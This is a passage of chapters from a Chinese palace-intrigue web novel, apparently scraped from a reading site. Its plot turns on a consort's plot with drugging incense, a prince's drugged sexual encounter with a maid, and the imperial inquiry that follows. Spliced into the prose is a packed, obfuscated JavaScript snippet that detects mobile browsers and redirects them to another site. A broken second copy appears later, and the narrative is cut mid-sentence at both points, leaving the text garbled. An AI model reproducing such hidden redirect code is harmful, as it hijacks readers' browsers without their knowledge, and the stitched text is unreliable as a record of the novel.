凤南茵瞧了几次,陆续向御花园走的人太多了,她也不知刚刚那种感觉是谁给她的。 这时,靖王看到方云婉由母亲陪着入了御花园,眉头蹙了蹙。 看来这场百花宴还请了他的王妃过来了。 他道:“本王还有事,你自己随意。” 随即,时景轩朝着反方向而去,消失在花园中。 凤南茵不认识的人太多了,瞧着那么多张陌生的面孔看着自己,好似都在拿她做话题,便带着雏菊和蝶兰向着湖边方向而去。 她更不想做为众人的攀谈对象。 无心之人能躲过,有心之人躲不开。 凤南茵才找了湖边横椅坐下,安王妃带着一名端庄婉约的姑娘走了过来。 “可是冀宁?” 凤南茵无奈起身见礼。 雏菊忙介绍,“乡主,这位是安王妃。” 凤南茵再次福身,“王妃安。” 姜心月热络地拉住她的手,打趣道:“都是自家人,不必这样客气,早听闻妹妹心灵手巧厨艺了得,医术了得,今日第一次近距离接触,没想到生得还这样灵动俏丽。” 难怪安王起了色心,瞧瞧这吹弹可破饱满的小脸,这殷红的嘴唇,还有这一双眸子,怎生得这样乌黑如星,璀璨的让人想挖掉。 她心中满是恶毒,面上一派和蔼亲昵。 凤南茵不喜客套,也只能应承,谁让今日来的人,身份都比她高。 “安王妃谬赞了,南茵的容貌不及王妃万一。” “云婉,瞧瞧这丫头的小嘴,还这么会讨人喜欢。” 她拉着凤南茵的手道:“你不用见外,我寻你也无别的事,云婉的姐姐是我闺中密友,与我也相熟,今日她想与你结识,便拉着我过来与你攀谈。” 凤南茵抬眸仔细看了方小姐一眼,第一印象很好。 对方生得浓眉大眼,容长的脸型,少了些娇美,却是从内散发着书卷气,正如德妃所言,方小姐有大家女子风范,适合做当家主母。 她对方云婉又行了一礼。 “见过安王妃。” 方云婉瞬间涨红了脸,“冀宁,快别取笑我了,还没有成婚,哪能叫王妃。” 她本来是嫉妒凤南茵的,因为刚刚靖王与她有说有笑进了御花园一幕也被方云婉看到了。 远远看不真切靖王的表情,可总觉得二人举止亲昵,就似情人。 如今见凤南茵看到自己,眼中没有半分嫉妒与不悦,更没有女儿家的吃醋情绪,心中安了安。 应该是自己多心了。 她亲热地拉着凤南蓉的手,道:“冀宁乡主,我可以唤你南茵吗?” 这可是准靖王妃,凤南茵对她并没有多余的情绪,便道:“当然可以,那我唤你云婉姐姐。” “再过半个月就是我与靖王大婚的日子,我想从南茵这里多了解一些靖王的脾气,不知是否打扰?” 凤南茵心下吐槽,她对靖王是有那么一丢丢的了解,可全都是吐槽靖王坑她的。 难不成告诉方云婉,靖王也有贴心的一面,会想着她参加宫宴,给她准备衣服? 再有,二人不熟,就连安王妃都是第一次打交道,就与她谈论这些,不觉得唐突? “若是为这事,方小姐找错人了,我虽在钟粹宫住着,到底没见过靖王几面,实在谈不上了解。” 姜心月对方云婉猛使眼色。 方云婉无奈道:“这人多,我们绕着湖边走边聊,随意什么都好。” 凤南茵不想奉陪,她凭什么要陪着对方做这等无聊的事情浪费时间。 “抱歉,本不该拒绝方小姐,可德妃娘娘还在等我过去陪她转园子,这个要求不能答应了。” 姜心月蹙眉,这么简单的小事,换作任何人都会满口答应,毕竟方云婉可是未来的靖王妃,该小心讨好。 她伸手,将凤南茵的去路给拦住。 “冀宁这般匆匆离开,似是不愿意与方小姐多聊,难不成你喜欢靖王,对方小姐生了嫉妒心?” 第一百七十章不好了,延辉阁出事了 一般闺秀听了安王妃这话,必诚惶诚恐。 可凤南茵到底不是世家小姐,没有得罪权贵会为家族带来麻烦的觉悟。 更何况,她连贵妃都敢坑害,也没必要怕得罪安王。 她笑着反问,“我是德妃的义女,所谓近水楼台先得月,娘亲那么疼宠我,若是我生了那般心思,怎么也会给我求一个侧妃的位置,让我日日伴在心爱之人身边。” 她反问,“安王妃,你说是不是这个理?” 随后福了一下身,根本不理会姜新月难堪的脸色,带着人潇洒离去。 安王妃忍不住骂了一句,“什么东西。” 竟然这般下她的面子。 方云婉却是松了一口气,至少凤姑娘对靖王无情,不然依着德妃的原因,她将有一个动不得、拿不得的情敌。 “姜姐姐莫要生气,冀宁要陪德妃才是正理,我这般没缘由地相邀,她没得时间作陪也是正常。” 安王妃瞪了方云婉一眼,“你这性子,人家脸都给你甩地上了,你还在替人家找借口,将来嫁到靖王府,那些个小妾都能骑在你的头上,看你到时候怎么办。” 方云婉温和地笑了笑,“怎么会,妾是妾,冀宁到底与她们身份不同。” 安王妃这时心生疑惑。 不对啊,刚明明和安王说好,这边起了搭讪,他就过来的。 毕竟她们的目的是要安王开心。 可凤南茵人都走了,安王的他人又去了哪? 安王此时正被远远的一道身影又吸住了目光。 对,就是又。 他不得不承认,眼前的女人才是他想要禁锢在身边,由他为所欲为的那人。 他视线盯的不是别人,正是一袭绿色齐腰襦裙,肌肤胜雪,身材纤纤的丽妃,姜妙梨。 这女人得了盛宠后,样貌出落得越发勾人。 年轻娇美加上女子因被调教后完全绽放出的风情,一颦一笑都勾男人的魂魄。 难怪父皇被他迷得忘记了体统,日日宿在春华宫。 可惜,这样的美人他不能靠近搭讪。 转头,他给身边的小太监吩咐:“你去给丽妃送信,就说皇上让她去延辉阁休息。” 随后,他双手交握,急切地摩梭着。 直到看到丽妃带着人向延辉阁而去,他这才隐匿身形地方动了,紧随跟了上去。 此时,延辉阁内早被人点了迷香,凤南蓉被关在里面神智不清,不停用力地叩着门。 “放我出去,放我出去。” 暗处,一道人影走近,脸上带着视死如归的决定。 今日他怕是要做风流鬼了,但他们暗卫左不过逃脱一死,能这般也不算委屈。 那人太过紧张,以至于不知螳螂捕蝉黄雀在后,被人敲了闷棍直接栽了下去。 靖王在后殿门口勾了唇,似笑非笑。 “今日父皇举办的这百花宴还真是热闹无比。” 刚刚凤南茵感觉到有人盯视的时候,他就已经注意到了四哥的眼神。 多年兄弟,他早已经把时景颐的脾性摸得透彻,怎么可能不暗中盯着他的一举一动。 敢将歪脑筋动在他相中的人身上,今天就要他尝尝乱动歪脑筋的下场。 而做这些,都不需要他费力,贵妃竟是连路都替他铺设好了。 后殿门拖拽出的男子被如风处理掉了,殿门无声关上。 凤南蓉在前面叫了几次门无果,只觉得脑袋越发昏沉,身子都没了气力,便向内走。 随即双腿一软,瘫在侍卫值夜休息的榻上。 安王眼看着那抹绿色拐进了延辉阁方向,迫不及待地跟上。 今天他要好好品一品父皇的宠妃是个什么滋味。 听说这女人有了身孕,若是她因为和自己欢好而落了胎,顺便还能除掉一个孽障。 殿门被人在外反插了栓木,安王嘴角勾笑。 那内侍办事还挺稳妥,知道反锁了门不让人跑了。 进了殿,安王绕过殿内红柱便看到歪在榻上的绿色身影。 可不就是丽妃的衣衫。 他用无比温柔的语气,轻唤了一声,“美人?” 随后便开始宽衣解带。 “传闻娘娘狐媚之术了得,就是不知父皇可曾满足得了你。” 安王原本只是想占个便宜,尝个鲜。 可殿中光线昏暗,女子发丝挡住半张脸,那衣衫半褪的销魂模样,让原本有七分理智的,瞬间变成了零。 时景颐连人都没看清楚,便扑了上去…… 贵妃挺着七个孕的肚子逛了一会御花园,前来向她道贺恭喜的人也都是走个形式,没一个是真心。 她觉得无趣。 想着好戏要开场了,便向延辉阁前的千秋亭走去。 此时丽妃、德妃还有凤南茵都坐在这里。 原本丽妃被内侍引到这,是要进延辉阁的,被凤南茵拦住。 “娘娘,那延辉阁是侍卫执勤休息的寝殿,虽说白日无人,到底是男人的居所,还是让内侍去查探一下,没有不可再去小憩。” 德妃也道:“南茵说的是,你如今有身子,不知多少人盯着,万事都要小心,身边可不能离了人。我让夏公公去看看。” 贵妃就是在这时走上来。 “哟,我还以为只有我这双身子人受不得累,怎么德妃也早早就坐在这里休息了。” 德妃带着几人起身见礼,给贵妃腾出主座。 “比不得姐姐,我这身子虽然一直养着,到底还是虚,逛了一会就受不住了,倒是辜负了这满园春意。” 夏公公正准备去打探呢,一名宫女垂着头急匆匆而来。 “贵妃娘娘,德妃娘娘,不好了。” 德妃主办百花宴,最是不喜听到“不好了”这三个字。 “何事,这样慌慌张张的。” 小宫女紧张地抬头,瞄了一眼贵妃道:“奴婢听到延辉阁内有不雅的动静传出,似是,似是在行男女之事。” 贵妃挑了眉,她安排的事成了。 德妃手边的茶盏都被她碰倒了。 后宫禁地,最是不能传出肮脏不堪之事。 她想赏花宴热闹些,便做主让皇室宗亲年轻的子弟进来几人,竟然就出了这等子事。 要是与哪个宫女行那苟且之事还好,要是妃嫔……后果不堪设想。 “南茵,快,扶着我过去看看。” 因为慌乱,德妃的腿都有些软,这事她怕是要受牵累了。 贵妃在后面扯着嘴角轻笑,心中暗忖。 “德妃啊德妃,你装好人,香得臭得都往宫内放,今日你钟粹宫的宫女偷人,本宫看你这协理六宫的差事能做到哪日。” 她摆弄着长长的护甲,搭在丛嬷嬷手上,“扶本宫也过去瞧瞧,好久都没这般好奇了呢。” 第一百七十一章污了眼睛 延辉阁内,角落里,那炉迷香燃尽,酣战却在持续。 二人早已经到达忘我的境地,彼此都恨不得将对方生吞入腹才能满足。 德妃带着人很快来到延辉阁前,离着十丈外就能听到里面的荒唐声音。 不堪入耳。 德妃黑沉着脸,却还想着要顾忌皇家颜面。 吩咐身边人道,“安排些人,延辉阁殿内不准其他人再进。” 不管是妃嫔,还是宫女,白日做出这种事,都是不宜宣扬之事,她想把这事压下,私下处理了。 贵妃这时缓缓上前,拦住传令之人。 “妹妹这是做什么,里面的人既然耐不住寂寞做出丑事,就该知道后果。” “这等霍乱后宫,破坏规矩之人,就该当着众人的面拖出来杖毙,以儆效尤。妹妹你的处罚手段这般温和,还要给他们留着脸面,岂不是纵容这等事发生?” 德妃轻蹙了眉头,“姐姐,我只是不想事情闹大,让人看了皇家的笑话,毕竟里面的人是谁,咱们还不知。” 贵妃咄咄逼人道:“不管是谁,做出这等事就该罚。” 余贵妃直接下令,“来呀,将里面的狗男女给本宫抓出来,敢坏了赏花宴的兴致,不用问缘由,看清是谁,直接杖毙,连带着她的家人都要处罚。” 凤南茵握住德妃手臂,唤了一声,“娘亲。” 贵妃这样折娘亲的面子,她怕德妃心情会受影响。 而且今日之事透着诡异,似是被人设计的阴谋。 德妃拍了拍她的手,“无妨。” 她也要看看,贵妃又在搞什么。 只是贵妃这么又吵又嚷的,引来了太多的人,已经不可能压下去,便由着她闹好了。 几名内侍合力,几下就撞开了门。 里面的安王刚好发泄完,听到动静知道坏了。 他想羞辱人,可没想被羞辱,忙捡了衣服就想从后门离开。 原本,这等事他是有百分之百的把握安然离开的,毕竟他是有暗卫跟着的人。 可他不知,靖王早在暗中将他的人拦下,此时都昏迷不醒地倒在无人的后殿。 而贵妃也是吃准了要给德妃颜色,今日必须要将事情闹大,重新拿回掌宫权。 她安排好的内侍一窝蜂地往进冲,看到男子一瞬间冲上前,死命将人按在地上。 可怜的安王,也只来得及套上一条亵裤,被人当王八一样按着。 他气得爆喝,“滚开,都不要命了,我是安王。” 贵妃已经一马当先迈步进来,当头就听到这么一句。 她身子晃了晃,直乎,“不可能!” 怎么是她的景颐? 她安排的暗卫呢? 德妃一进来,就看到安王衣不蔽体的模样,连她都觉得无法入眼,羞得转身。 “南茵,你先出去,莫要污了眼睛。” 安王原想以势压人,让进来的这些个狗奴才都闭嘴,他先离开。 可是母妃和德妃到的太快,让他连躲的机会都没有。 看到母妃,还是有些怕。 他羞赧地唤了一声,“母妃。” 贵妃恨铁不成钢地指着他的鼻子,“你为什么在这里?你怎么会在这里?” 这是要气死她不成? 才解了禁足,又闹出这等丑事,这是不想要未来了吗? 亏得她为了这个儿子谋划这许多。 贵妃实在气得急了,扬手就是一巴掌,“不争气的东西。” 在宫外,闹出多少风流事她都不管,可这是皇宫,是宫宴,他竟然胆大如厮,是不将他父皇放在眼里吗? 她甚至忘了,会让安王疯狂的,还有她安排下去的迷香…… 安王本就羞恼,他承认自己浑蛋,可是没想到有暗卫在外守着,还能被抓。 如今被打了巴掌,知道事情闹大了。 他指着床上昏死过去的女人,“母妃,您听孩儿说,是这女人勾引我,孩儿只是不喜外面热闹,进来躲会清净,她上来就脱了衣服。” 此时他都不知自己睡错了人,只想犯事也要拖丽妃下水,替母妃出了气。 丽妃完了,母妃还会是这后宫最受宠之人,会有办法保他。 德妃听了这话只想捂住耳朵,这都是什么污言秽语。 外间,凤南茵瞥见地上散落的衣衫,一眼便认出是出自金娘子的春衫。 而丽妃今天身上这条裙子,刚好与地上那身同一色调,不会是凤南蓉为了入宫,特意仿制出来充门面的吧? 就这么好巧不巧,与丽妃又撞衫了? 她在丽妃身边耳语,“娘娘,我瞧着今日这事有蹊跷,您说这安王会不会是冲着您来的。” 她向内努嘴,让她看地上散落的衣裙。 可别忘了,刚刚有人叫丽妃入延辉阁,还是打着皇帝的幌子。 丽妃看清那衣服自己又是同款,不由得后背生出一阵冷意。 今日叫她去延辉阁的内侍很是眼生,难不成? 她恨不打一处来,不管今日的事情为什么会演变成这样,都是有人想害她。 丽妃迈步走了进去,冷冷地睨着安王那单薄细弱,小鸡仔一样的身板,除了这张脸,真是无一可看之处。 她一声冷哼,仗着盛宠,没给贵妃留脸面。 “安王说床榻上的女子勾引你,那安王可知这人是谁?” 安王看着丽妃有一瞬间的迷惑,这女人不是被自己干翻了吗? 她怎么好好的出现在门前? “我……我怎么知道?” 他连称呼都忘记了,一瞬间有种拱了猪的恶心感袭上心头。 刚刚那么酣畅淋漓,皆是以为他在欺负的女人是丽妃,如今闹出这么大的丑事,竟然还认错了人? 丽妃却抓住他的小辫子,当即咄咄逼人。 “安王连人是谁都不知,就能忘记伦常与德行在这深宫当行夫妻之事,还真是君子。” 她就是在骂,安王品德败坏、不讲伦理纲常,经不住诱惑,肆意放纵本心,这种人,怎么配堪大用。 贵妃哪容别人如此坏她儿子名声,这要是传到朝臣耳朵里,他儿子这辈子都别再想争夺帝位了。 “丽妃,你莫要在这里胡言乱语,安王都说了,他是被人陷害了。” 她气得浑身颤抖,唤了一声,“来呀,还不将床上的贱人泼醒,本宫倒要看看是哪宫的贱人,为了攀高枝做出这等大逆不道,不知廉耻的事。” 今日,就算丢了面子,她也要将德妃拉下水。 这时,才处理完政事的皇帝终于姗姗来迟。 “皇上驾到!” 贵妃与安王同时身形一抖,心中齐齐哀道。 “坏了。” 第一百七十二章他栓门做什么? 皇上今日本就对朝臣上书同意和亲一事有被气到。 大臣们的意见很是明确,北庆刚经历天灾,百姓还没有从水深火热当中走出来。 北蛮人提出和亲,便可以避免战事。 而皇帝顾忌的是自己的颜面,适合和亲之人只有七公主,他一是舍不得,二是,他泱泱大国,要靠和亲来摆平北蛮人,叫他如何让后人看待? 此事没有商议出结果,想着到这御花园来散散心。 总归是春色,不能辜负了好时节,也是因着丽妃有孕,他要向世人展示,自己老当益壮。 结果,人才到御花园,内侍便告知他延辉阁出事了。 ?公公打探回来消息,脸色不好地道:“皇上,是安王。” 靖王此时赶过来向皇上作揖,“儿臣参见父皇。” 皇上神色不悦,“轩儿,你可知你四哥又做了什么事?” 靖王神色带着尴尬,道:“回父皇,贵妃与母妃在处理此事,因有后宫女眷,儿臣并未上前,不过听说是,四哥一时忘情,在延辉阁与一名女子做了亲密之事。” 皇上震怒,这个老四,当真是烂泥扶不上墙,才解了禁,又往自己身上抹黑。 时景轩道:“父皇,儿臣倒是觉得此事诡异,毕竟四哥后宅娇妻美妾无数人,不可能昏庸到祸乱宫闱的地步,孩子觉得应是被人算计了。” 皇上心中舒服不少。 他最是受不了的,便是兄弟阋墙,轩儿能替他四哥开罪,他还是很满意的。 “恩,陪朕过去看看。” 今日这事若是老四犯浑,他这个做帝王的脸面也别要了。 皇帝进来,最慌的便是贵妃。 “皇,皇上。” 皇上看了一眼衣衫不整的安王,喝斥,“成什么样子,还不将衣服穿上。” 此时,凤南蓉已经被水泼醒,正被压跪在殿中。 皇上睨了一眼,有了印象。 “竟然是你!一个小小宫女,谁给你这么大的胆子,做出这等伤风败俗之事。” 凤南蓉早已是心如死灰,她的清白,她的凤途,全毁了。 伸头是一刀,缩头也是一刀,凤南蓉从未有过这样的清醒。 今日她若想活下来,必须得豁出去。 她匍匐在地上,轻轻叩头,“皇上,就算老天借奴婢十个胆子,奴才也不敢勾引安王,实在是今晨奴婢受贵妃令来延辉阁,称有事吩咐奴婢去做。” 贵妃当下怒道:“你胡说八道,本宫何时叫人去寻过你!” 凤南蓉全身都在瑟缩发抖,却是闭了闭眼,视死如归道。 “奴婢不敢污蔑娘娘,确实有人这样传信,只是奴婢才到了延辉阁就被反锁在殿中,没一会便晕倒了,后面醒来,便已经……便已经……” 她今日,打死也要咬住贵妃。 唯有如此,才能将自己**的罪名洗清,才能苟且下来一条命。 “你这是在告诉皇上,是本宫害你如此?本宫为什么要害自己的儿子?” 凤南茵见安王已经穿好衣衫,走进内殿。 “皇上,春蓉是不是在扯谎,一查便知。若她进来没多久便昏死过去,定是有人用了外物。” 皇上颔首,“你擅长此道,你去查。” 凤南茵:“……额” 什么叫她擅长此道,她可没有做什么。 她在殿内转了一圈,随后发现香炉,端起来闻了闻,蹙了眉。 “皇上,此炉香灰有问题,有迷迭香粉的气味,可使人乱了神智,不过……” 贵妃眼神晃了晃,立即插话道:“既然是有人陷害,那景颐也是着了别人的道,皇上,景颐也是被人陷害的。” 皇上皱眉,示意凤南茵继续。 “不过什么?” “不过这香要在这殿中呆上一刻才能对人生效,而咱们进来前,这殿门是从内栓住的。” 她睨了安王一眼,这香如果不是安王放的,他没有生不轨之心,插门做什么。 皇帝原本以为安王是被人陷害,才息下的怒火又被挑了起来。 丽妃这时也在一旁勾了唇,轻笑。 “当真有意思,皇上,臣妾越听越迷糊了呢。” 她翘着兰花指,靠在皇帝身边,指着凤南蓉。 “春蓉早几日就收过贵妃的好处被暗卫发现,臣妾恼她在我春华宫为婢,却要收贵妃的好处,臣妾一时生气,便将这种一心二主的奴才送去了德妃姐姐那里重新调教。” “春蓉刚刚又指证是贵妃指使她来的延辉阁。” “而臣妾也被一个陌生的小公公以皇帝的名义邀请进延辉阁,若不是德妃姐姐拦着……” 她扯了扯身上的衣裙,“皇上,这受害的人,会不会是臣妾啊!” 皇上脑袋有点乱,一会是春蓉被贵妃叫到这里。 一会又是丽妃被人叫到这里…… 他没有缕清关系利害,却是能猜出这事没有那么简单。 “德妃,你怎么看这事?” 德妃看了儿子一眼,其实今日这事她也没闹清缘由。 贵妃要害人,怎么安王却成了受害者? 到底是谁在操控这一切? 她抬头,看到皇上那审视且带着怀疑的目光,心下一个咯噔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381635|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙垂了首,道:“皇上,是臣妾没有安排好防务一事,此事牵扯安王与钟粹宫的宫女,臣妾来查此事已经不合时宜,不如让龙禁卫来办此事吧。” 皇上见她如此坦荡,看来幕后操控之人并不是德妃。 皇上一声令下,“来呀,将这宫女押入慎刑司,今日之事必须彻查到底。” 他看了一眼安王,眼中透着失望。 凤南茵的话已经很是明显,今日之事,安王绝对逃不脱干系,不然他栓门做什么? 那香既然要呆久了才会发挥作用,安王就是故意而为。 安王也知今日逃不脱责任,灵机一动道。 “父皇,儿臣确实一时糊涂。可是儿臣是正常男子,被人引到这延辉阁,又有一女子在那宽衣解带……” “父皇,儿臣确实没把控住自己,可当时只以为这宫婢是在引诱儿臣,还想喝斥她来着,可是后来就迷糊起来,没想到事情会闹得这般不堪。” 男人吗,哪有不风流的,他知道父皇喜欢坦诚之人,他想赌一次。 凤南蓉不停地晃动着脑袋。 “奴婢什么都不知道,奴婢没想引诱任何人,奴婢昏死前,也没有看到安王人。” 她实在是怕了,如今真的后悔入宫。 她不知求谁,只能求德妃。 “娘娘,再怎么说我也是钟粹宫的人,我被人陷害,您不能不说句话啊!” 她又求凤南茵。 “南茵,求求你替我说说情吧,我是你亲姐姐,你当真希望我就这样被毁了吗?” 凤南茵想说,你现在知道后悔了,是不是晚了。 可凤南蓉说的一句话是对的,钟粹宫的人被人陷害,若是不管,娘亲的声誉与威严都会受牵累。 她道:“娘亲,春蓉有错,就是不该无令私自离开钟粹宫,可她也是受贵妃传唤,不得不从。您看这事?” 德妃气恼,今日之事,定与贵妃脱不开干系。 这个女人,竟然一再与自己较劲,真当她是泥捏的没有脾气? 于是她道:“皇上,春蓉被人算计已经是不争的事实,她被安王夺了清白,就这样不了了之,日后已是无法做人。” “臣妾觉得,不管调查的结果如何,都该先给这丫头一个名分,再怎么说,她也是新春的秀女,凤家长子还为朝廷有过功绩。” 她就是要恶心贵妃,不是想坏她吗? 那她也要将这份恶心还回去,让这个被她利用的女人入她儿子的安王府邸,看她气急败坏。 当然,顺便送走碍眼之人,一举两得。 贵妃:…… 岂有此理! 第一百七十三章凤南蓉心如死灰 这种名声都坏了的低贱宫女,也想往她儿子的府邸塞。 贵妃觉得,这人就该处死,成事不足,败事有余的晦气玩意,多看一眼都让人心口憋闷。 外间这时,时景颐的两名暗卫在墙角处摇晃着醒来,刚好被赶过来的龙襟卫给看到。 “什么人?” 暗卫还没彻底恢复神智,当场被扣住拿到皇帝面前。 “皇上,发现两名暗卫!” 能将暗卫带到后宫,还出现在这延辉阁,皇上用怀疑的目光看向安王。 他的儿子什么秉性,这些年他又怎么可能不知。 “说,到底是谁的人,为何在这里?” 暗卫低垂着头,已经视死如归的神色。 安王也是不敢承认,毕竟带暗卫入宫,是禁忌,往大了说,有谋逆之嫌。 可是龙襟卫他统领过,他们的手段他最是清楚,偏他有个臭毛病,自恃身份,暗卫用的武器都有安王府标识。 他眼睛不停地游弋着,心中盘算着利弊,只能咬着牙先认了。 “父皇,这是儿臣的暗卫,儿臣近来总觉得有人想害儿臣,这才,这才带他们入了宫。” 他跪下,冷汗涔涔,“但儿臣只让他们保护儿臣,绝对没有做任何事。” “保护?四哥,你觉得这宫里有人想害你?” 这宫里怎么可能有人会害他! 既然没有,他带暗卫入宫,那就是要行刺,是图谋不轨。 他咬牙,闭上眼,只能扯谎道:“都是儿臣的错,儿臣心悦凤家大姑娘,可是赐婚时,父皇没有将人指给我,我心有不甘,今日才将人约到这里与其欢好。” “暗卫是给儿臣把风的。” 贵妃真是一口血没呕出来,她怎么就生了这么一个蠢货! 凤南蓉却是瞪大了眸子,“王爷……” 凤南茵在心中快速地盘算着各种可能。 第一,此事她置身事外,不管凤南蓉死活。 后果,外人知她与凤南蓉是亲姐妹,会骂她冷血。 知晓娘亲与凤夫人过往的人,会诟病娘亲无情无义。 第二种,按娘亲的意愿,让凤南蓉入安王府。 结果,安王因凤南蓉吃了大亏,又暴露暗卫,入安王府绝对不会善待她。 贵妃因凤南蓉坏了儿子名声,也不会让她好过。 钝刀子**,比来个痛快更折磨。 她思量过后,道:“春蓉是这批秀女里容貌最出色的,安王既然喜欢她,可以向皇上提,她的身份也够做你的侧妃,何必先斩后奏,至春蓉于死地呢。” 凤南蓉感激,万没想到凤南茵会替她说情。 凤南茵撇天头,不想对上凤南蓉希冀的目光,嫌恶。 丽妃眼波流转,当即道:“诶,南茵,你心眼就是太好了,这春蓉为了秀女名额那样对你,你还顾念姐妹情义,你不觉得委屈吗?” “哪怕她不是我的姐妹,同为女人,我也见不得这种事发生。” 这时围着的人群也议论起来。 无不称赞冀宁为了那点微薄的血脉情谊,仁至义尽。 都在骂凤南蓉无耻,是怎么好意思张嘴让妹妹替她求情的。 凤南蓉被羞得抬不起头。 她与凤南茵如今,她清白尽毁,名声尽毁,入安王府是最后的路。 可是凤南茵呢,成了人人夸赞,巴结奉承的对象。 她心下一片苦涩,却还要承凤南茵这个情,她多希望帮她的人不是凤南茵。 德妃对南茵恰当的说辞很是满意,她道:“皇上,今日宫宴,虽然宴请的都是自家人,到底不好看。您看这事?” 要是依着皇上的心情,这二人都该死。 但一个是他儿子,一个又被众口铄金公认的受害者。 这事查归查,眼下众人瞩目,他明知是怎么一回事,却不得不活稀泥。 不然,他是处罚已经怀孕七个月的贵妃? 还是才解了禁的安王? 帝王要权衡的东西太多了,他疲惫道。 “德妃提议的是,看在凤泽宇于我北庆有功,看在他的面子上,今日凤南蓉的惩罚就免了。” “但安王带暗卫入宫,坏宫中,行大逆不道之事,不罚你无王法。” 他实在不知再怎么惩罚这个儿子,只能道:“便罚你一年不准再入宫,俸禄半年。” “至于今日这事,你二人既然已经有了首尾,朕便做主将人赐你。” “皇上!” 贵妃真真要气**,她真是搬起石头打自己的脚,好好的计谋被自己儿子掉进陷阱。 都是凤南蓉,她若不与丽妃穿同款衣服,也不会出今日事。 她打断皇上的赐婚,道。 “春蓉家世卑微,又不守贞洁。经历她今日之事的女子,就该直接碰柱自戕,她还舔着脸求活命的机会。安王为何会心悦她,定是早在宫外就生了狐媚男人的心思,为了重振凤府,想攀高枝,这才魅惑的安王做出糊涂事。” “这等魅惑男人的祸水还敢攀咬诬蔑本宫,只配处死。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安王被二人一唱一和说得脸色难堪,他刚为了摆脱带暗卫入宫的行径,可是自己承认心悦凤南蓉,做出今日糊涂事。 这会随便带人回府,不给个名分,不是自说自话在打自己的脸? “冀宁担心多虑了,怎么会是侍妾呢,本王如今好不容易求得父皇赐婚,自然要给最好的名分,本王要封她为……” 第一百七十四章凤南茵的良苦用心,自是落井 安王看了一眼凤南蓉那张娇媚的小脸,这时候又觉得接这个女人回府,也不算吃亏。 这样貌、身段比之丽妃不遑多让啊! 当下,他有了三分喜欢,少了七分厌恶。 豪言道:“本王喜爱之人,自然不忍她受委屈,本王要封凤南蓉为侧妃。” “不行!” 贵妃要被这个忤逆、自负的儿子气**。 她算了那么多因素,一一防着。可没想到坏她好事,超出她预期,最大的不定因素竟然是她儿子。 她绝对不答应。 这个**,怎么配做侧妃! “她到底坏了名声,且家世低微,又是罪臣之女,怎能担侧妃之位。你若真喜欢,封她一个良媛已给够了体面。” 安王自是无所谓,他刚刚就是做做样子。 他的侧妃之位,当然要给能帮到他的女人。 于是顺从道:“一切听母妃做主。” 贵妃这才缓了一口气,狠狠地瞪了凤南蓉一眼。 她在安王妃耳边道:“待这女人入了府,给本宫好好教训她。” 安王妃今日心情似过山一样,忽上忽下,就怕安王被定了罪,那她这辈子也完了。 如今皇上轻拿轻放,这事算是过了。 又得了母妃的授意,她轻轻颔首。 “母妃放心,这等不安分守己的女人,儿媳是不会让她过得如意的。” 凤南茵将二人的互动看在眼里,低垂着头,掩饰自己险些笑咧开的嘴。 心道:“姐姐啊,姐姐!当初你若没有一再地算计我,我今日又怎么会落井下石。” “春蓉,还不赶快谢恩。”德妃道。 “哦,不对,从今日起,你就是安王的良媛了,可以叫回自己的姓氏,凤良媛,还不谢恩!” 凤南蓉的心情也是起伏多折,从险些丢掉性命,到良媛的身份,也是承受了太多的心路历程。 她跪地给皇上磕头,“臣女谢皇上恩典、谢安王抬爱、谢德妃娘娘说情。” 抬头,她看向凤南茵,咬了咬唇,“谢谢妹妹替我说话。” 贵妃冷哼,“怎么,谢了一圈,觉得本宫是那种恶人,不该感谢是吗?” 凤南蓉缓缓下拜,“给母妃请安。” “哼!” 贵妃只觉得晦气无比,这凤氏一家子都与她相克。 “臣妾今日乏了,想先行回宫歇息了。” 她还有一事要处理,就是给凤南蓉传话的那个宫女要暗中除掉,今日这事已成定局。 既然景颐背了所有黑锅,就绝不能再节外生枝。 皇上也没有心情赏花,便道:“丽妃,服侍朕回宫歇息。” 丽妃向德妃轻轻颔首,冲着凤南茵眨了眨眼,准备随皇上离开。 安王今日吃了大亏,回去要审问暗卫到底是怎么回事。 他见父皇走了,不再作戏,“本王还有事,你们继续。” 凤南蓉隐约觉得不安,今日离宫到了安王府,怕是没那么好过。 她总能在生死关头瞬间想到要抓谁当救命稻草。 她上前一步抓住凤南茵的手,“妹妹,从前姐姐喜欢要强,总和你置气,今日姐姐遇到难处时,还是至亲的妹妹才会站出来帮我,姐姐才知从前错的多离谱。今日我就随安王回府了,日后出府就不便了,也不知怎么还你的情谊,你无事可来王府寻我,姐姐会的才艺都愿意倾囊相教。” 凤南茵对天白了个眼。 她现在要钱有钱,要权有权,想学才艺不会找女夫子。用得着去王府承你的情谊,让你教? 还不是怕在王府被人欺负,让自己时刻过去帮着撑场面。 凤南茵很是绝情道:“不好意思,我应了师伯,不日我们要出京义诊,这一次离京不知多久回来,要让你失望了。” “啊,对了,虽然你入安王府没有十里红妆,但凤夫人给你准备的嫁妆总算能用上了,相信那么多银钱傍身,你在安王府日子不会差的。” 凤南茵把她的老底都揭了,就是告诉所有人,这个不起眼的落魄凤家女,可是很有钱的。 安王妃别有深意地睨着凤南蓉一眼,安国公府倒了,还能拿出银钱陪嫁,看来当初抄家漏了不少东西。 她可要一件一件想办法都抠出来才行。 凤南蓉暗暗掐住了手指,这个凤南茵,一如既往地可恨。 她今天帮自己,果然没安好心。 她忍下心中气闷,努力扯出一抹笑。 “我也只是说等你得空来瞧我,又不是说经常,妹妹记得来瞧姐姐就好。” 凤南茵没有咄咄逼人,提醒对方二人早就断亲了。 反正知道的都知道了,只懒懒道:“看情况吧。” 